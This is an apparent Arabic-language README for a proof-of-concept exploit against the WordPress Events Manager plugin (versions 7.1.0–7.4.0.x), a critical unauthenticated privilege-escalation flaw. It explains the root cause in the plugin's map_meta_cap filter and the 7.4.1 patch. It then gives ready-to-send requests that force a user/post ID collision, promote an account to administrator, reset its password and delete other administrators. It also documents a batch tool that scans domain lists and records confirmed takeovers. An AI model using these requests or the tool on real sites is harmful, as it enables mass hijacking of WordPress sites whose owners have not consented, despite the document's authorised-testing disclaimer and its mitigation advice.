
إثبات مفهوم (PoC) لتصعيد الامتيازات بدون مصادقة لـ WordPress Events Manager < 7.4.1؛ يكتشف تعارض معرفات المنشورات/المستخدمين ويصعّد الأهداف إلى مسؤول عبر REST أو wp-admin.
| المنتج | Events Manager (إضافة ووردبريس) |
| الإصدارات المتأثرة | 7.1.0 – 7.4.0.x |
| الإصدار المُصحَّح | 7.4.1 |
| مواطن الضعف | CWE-269: إدارة امتيازات غير سليمة |
| درجة الخطورة | CVSS 3.1: 9.8 (حرِج) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| معرّف WPVDB | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| الباحث الأصلي | Jakub Herman |
| التحليل والـ PoC | ghostpel |
poc.py).تحتوي إصدارات Events Manager من 7.1.0 حتى 7.4.0.x على ثغرة تصعيد امتيازات تسمح لمهاجم غير مُصادَق تمامًا بالاستيلاء على أي حساب مستخدم يتطابق معرّفه مع معرّف أحد منشورات الإضافة نفسها (event / location / event-recurring / location-recurring). يمكن فرض التطابق على المواقع التي تكون فيها حجوزات الضيوف مفعّلة (وهو الوضع الافتراضي): فكل حجز ضيف ينشئ حساب مستخدم حقيقيًا ويجعل عدّاد الزيادة التلقائية لجدول wp_users يتقدم بمقدار واحد، ما يسمح للمهاجم «بالتنقل» في فضاء معرّفات المستخدمين حتى يبلغ معرّف منشور event/location.
السبب الجذري: مُرشِّح map_meta_cap في الإضافة يتجاهل قائمة الصلاحيات التي كان ووردبريس قد حسبها بالفعل ($caps = []) لأي قدرة من قدرات meta، كلما صادف أن معرّف كائن الصلاحية يحل إلى منشور event/location — بما في ذلك صلاحيات ووردبريس الأساسية مثل edit_user وdelete_user وpromote_user وremove_user. قائمة الصلاحيات الفارغة تُقرأ على أنها «لا توجد صلاحية مطلوبة» — أي سماح للجميع، بمن فيهم غير المسجّلين دخولًا.
التبعات (كلها بدون مصادقة، عبر واجهة WP REST API): تغيير كلمة مرور أي حساب متطابق المعرّف، أو ترقيته إلى administrator، أو حذفه.
الإصدار الذي خضع للتحليل: 7.4.0.1 (المتأثر) — بمقارنة فروقه مع 7.4.1 (المُصحَّح).
| الإصدار | الحالة |
|---|---|
| ≤ 7.0.5 | غير متأثر (em_map_meta_cap القديم لا يتعامل إلا مع صلاحيات EM الخاصة بها) |
| 7.1.0 – 7.4.0.x | متأثر (نظام archetype مع map_meta_cap المعيب أُدخل في 7.1.0) |
map_meta_cap يُفرِغ $capsclasses/em-archetypes.php (version 7.4.0.1):
النتيجة: كل فحص من فحوصات current_user_can('edit_user', X) أو delete_user أو promote_user أو remove_user يعيد TRUE كلما كان X مساويًا لمعرّف منشور event/location. الإضافة «تتجاهل قرارات التحكم بالوصول التي كان ووردبريس قد اتخذها بالفعل» — تمامًا كما وصف WPScan.
تم التحقق بمقارنة الفروق بين 7.4.0.1 و7.4.1: أصبحت عملية التصفير الآن مشروطة بمطابقة دقيقة للصلاحية في كل فرع (مثل && $c['read'][$post->post_type] == $cap)، لذلك لا تُفرَّغ $caps إلا عندما تكون الصلاحية المطلوبة قدرة meta من نوع archetype فعلًا. تعليق التصحيح: «التصفير عند أي صلاحية تحمل كائنًا كان يفرّغ قائمة المتطلبات لصلاحيات غير ذات صلة (مثل edit_user وpromote_user)، وهو ما يُقرأ على أنه سماح.»
نقاط نهاية REST الخاصة بالمستخدمين (/wp-json/wp/v2/users/{id}) لا تخضع لبوابة تسجيل دخول عامة — فالتحكم بالوصول يتم حصريًا عبر استدعاءات التحقق من الصلاحيات (permission callbacks)، وكلها تمر عبر مُرشِّح map_meta_cap نفسه:
أثر جانبي: edit_comment يتأثر أيضًا عندما يصادف أن يتساوى معرّف تعليق مع معرّف منشور event/location (جدول wp_comments يتشارك الفضاء الرقمي نفسه).
التطابق موجود لأن wp_users.ID وwp_posts.ID متتاليتان مستقلتان للزيادة التلقائية (auto-increment) تتداخلان حتمًا. حجوزات الضيوف تفرضه:
em-install.php:896 — dbem_bookings_anonymous = 1: حجوزات الضيوف مفعّلة افتراضيًا؛ :871 dbem_bookings_registration_disable = 0 (التسجيل مفعّل).em-actions.php:340-344 — booking_add موجود ضمن $booking_nopriv_actions → يمكن استدعاؤه بدون تسجيل دخول (عبر wp_ajax_nopriv_booking_add، بأولوية 999999، الأسطر :817-830، أو عبر wp_loaded :11).em-actions.php:360-375 — مسار booking_add: → → → → . (الـ nonce هو حماية CSRF فقط — nonce الخاص بـ يُعرض في نموذج الحجز العام، لذا يمكن لأي شخص الحصول عليه.)سلسلة ثانوية رُصدت أثناء المراجعة (إسناد الحجز عبر person_id) — events-manager.php:430-437 (em_load_event، و$EM_Person من $_REQUEST['person_id'] بدون تسجيل دخول)، em-booking.php:1060-1072 (get_person() يستبدل person_id لحجز جديد)، em-booking.php:2004-2006 (can_manage() = TRUE لحجز بدون معرّف)، em-functions.php:448-449 — لم تتغير في 7.4.1؛ إنه ناقل منفصل (إسناد حجز خاطئ)، وليس جوهر هذا الـ CVE.
حدد المعرّف المستهدف. عدّد معرّفات منشورات event/location العامة (الروابط الدائمة، الخلاصات، /wp-json/wp/v2/event، أو تخمين المعرّفات المتتالية). لنفترض أن الهدف هو N.
(اختياري — فرض التطابق) أرسل حجوزات ضيوف متكررة حتى يحصل الحساب التالي على المعرّف N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
كل طلب POST → حساب جديد واحد؛ الحساب ذو المعرّف N يخص المهاجم (تُرسل كلمة المرور إلى بريد المهاجم الإلكتروني).
رقِّ الحساب إلى Administrator وغيّر كلمة المرور:
PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
تنجح استدعاءات التحقق من صلاحيتي edit_user وpromote_user لأن get_post(N) يحل إلى منشور event/location → $caps = [].
(إذا كان — مثل مسؤول قديم — يملك بالفعل المعرّف المتطابق مع معرّف منشور event، فلا داعي للخطوة 2؛ يسيطر المهاجم مباشرة على ذلك الحساب.)
event/location مسجّلة).poc.pypoc.py هو PoC دفعاتي غير متزامن (asyncio + aiohttp) يقوم، لكل هدف: باستخراج بصمة إصدار EM (مقيّدًا بالنطاق المتأثر [7.1, 7.4.1))، واكتشاف معرّفات منشورات EM القابلة للوصول من الخارج (خريطة موقع WP → /locations/، مع زحف اختياري لنموذج الحجز)، واستقصاء المعرّفات المكتشفة بحثًا عن حساب مستخدم موجود (شرط التطابق)، وترقية الحسابات المتطابقة — عبر قناة REST، أو قناة wp-admin عند توفير جلسة وحجب REST. لا مسح أعمى لنطاق المستخدمين، ولا حجوزات ضيوف، ولا إنشاء حسابات.
يقوم المشغّل بتعدد إرسال كل الإدخال/الإخراج على حلقة أحداث واحدة (قرب 0% من المعالج عندما يكون العمل مرتبطًا بالإدخال/الإخراج؛ -t يضع حدًا أقصى للتوافقية بدلًا من الأنوية)، ويفحص فقط مقاطع أولية محدودة بحجم 64 KiB على الحلقة، وينقل عمليات التحليل الثقيلة (XML خريطة الموقع، حزمة صفحة الزحف، نموذج الملف الشخصي) إلى خيوط عاملة عبر asyncio.to_thread، ويفرض تأخيرًا مهذبًا (politeness delay) عند كل محاولة وصول لصفحة. منطق الفرض نفسه لم يتغير (نفس البوابات، نفس الـ oracles، نفس التحقق).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
المتطلبات: Python 3.9+، pip install aiohttp.
تُكتب النتائج تباعًا إلى hasil.txt (عمليات الاستيلاء المؤكدة) وid-post.txt (كل نطاق متأثر اكتُشفت فيه معرّفات منشورات EM، مع collision=yes/no/unknown).
ملاحظة: أُعيد بناء هذا الـ PoC بشكل مستقل من التحليل الثابت لمصدر 7.4.0.1 وdiff التصحيح 7.4.1 — وهو ليس PoC الخاص بـ WPScan.
مخصص للاختبار الأمني المصرح به فقط. شغّله حصريًا ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. ينفذ الـ PoC طلبات HTTP عادية — بدون أي مراوغة؛ قد يكون مرئيًا في السجلات/أنظمة كشف التسلل (IDS).
dbem_bookings_anonymous)، وقيّد نقاط نهاية REST الخاصة بالمستخدمين على مستوى WAF، وراقب تغييرات كلمات المرور وترقيات الأدوار وحذف الحسابات.| 7.4.1 | مُصحَّح |
| السطر | الكود | الدور |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | مُرشِّح عام غير مشروط — يعمل مع كل فحص قدرة meta-capability في ووردبريس، بما في ذلك فحوصات النواة وتلك الخاصة بغير المسجّلين دخولًا |
:547 | if ( !empty( $args[0] ) ) { | يُؤخذ كائن الصلاحية على أنه معرّف منشور (post ID) |
:548 | $post = get_post($args[0]); | تطابق المعرّفات: معرّف المستخدم المستهدف (لصلاحيات مثل edit_user) يُعامَل على أنه معرّف منشور |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | يتم تجاهل قائمة الصلاحيات بدون أي شرط — حتى وإن كانت الصلاحية المطلوبة ليست قدرة archetype من فئة read/edit/delete_event |
:568/577/584 | فروع if/elseif | لا يُعاد ملء $caps إلا عندما يطابق $cap تمامًا قدرة meta من نوع archetype؛ أما بالنسبة لـ edit_user وdelete_user وpromote_user وremove_user فلا يوجد أي فرع يطابقها → تبقى $caps فارغة |
:597 | return $caps; | المصفوفة الفارغة = «لا توجد صلاحية مطلوبة» = سماح للجميع، بما في ذلك معرّف المستخدم 0 |
| الإجراء | نقطة النهاية / دالة النواة | الصلاحية المتجاوزة |
|---|
| تغيير كلمة مرور الحساب المستهدف | PUT /wp-json/wp/v2/users/{id} مع {"password":"..."} → wp_update_user() (فحص edit_user داخلي) | edit_user |
| ترقية الحساب إلى Administrator | PUT /wp-json/wp/v2/users/{id} مع {"roles":["administrator"]} | promote_user |
| حذف حساب | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (فحص delete_user داخلي) | delete_user |
| (تعدد المواقع) إزالة مستخدم من المدونة | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — فرع الضيوف: em_register_new_user($user_data) مع البريد الإلكتروني للمهاجم.em-functions.php:510 — wp_insert_user($user_data) → يجعل عدّاد الزيادة التلقائية لجدول wp_users يتقدم بمقدار 1 عند كل حجز ضيف → يتحكم المهاجم بمعدل نمو عدّاد معرّفات المستخدمين حتى يبلغ معرّف منشور event/location المطلوب (WPScan: «كل حجز ضيف ينشئ حساب مستخدم حقيقيًا ويجعل عدّاد معرّفات المستخدمين يتقدم بمقدار واحد»).Nاحذف الحسابات الأخرى التي تتطابق معرّفاتها (مثل مسؤول آخر):
DELETE /wp-json/wp/v2/users/M?reassign=N
سجّل الدخول كمسؤول → اختراق كامل للموقع.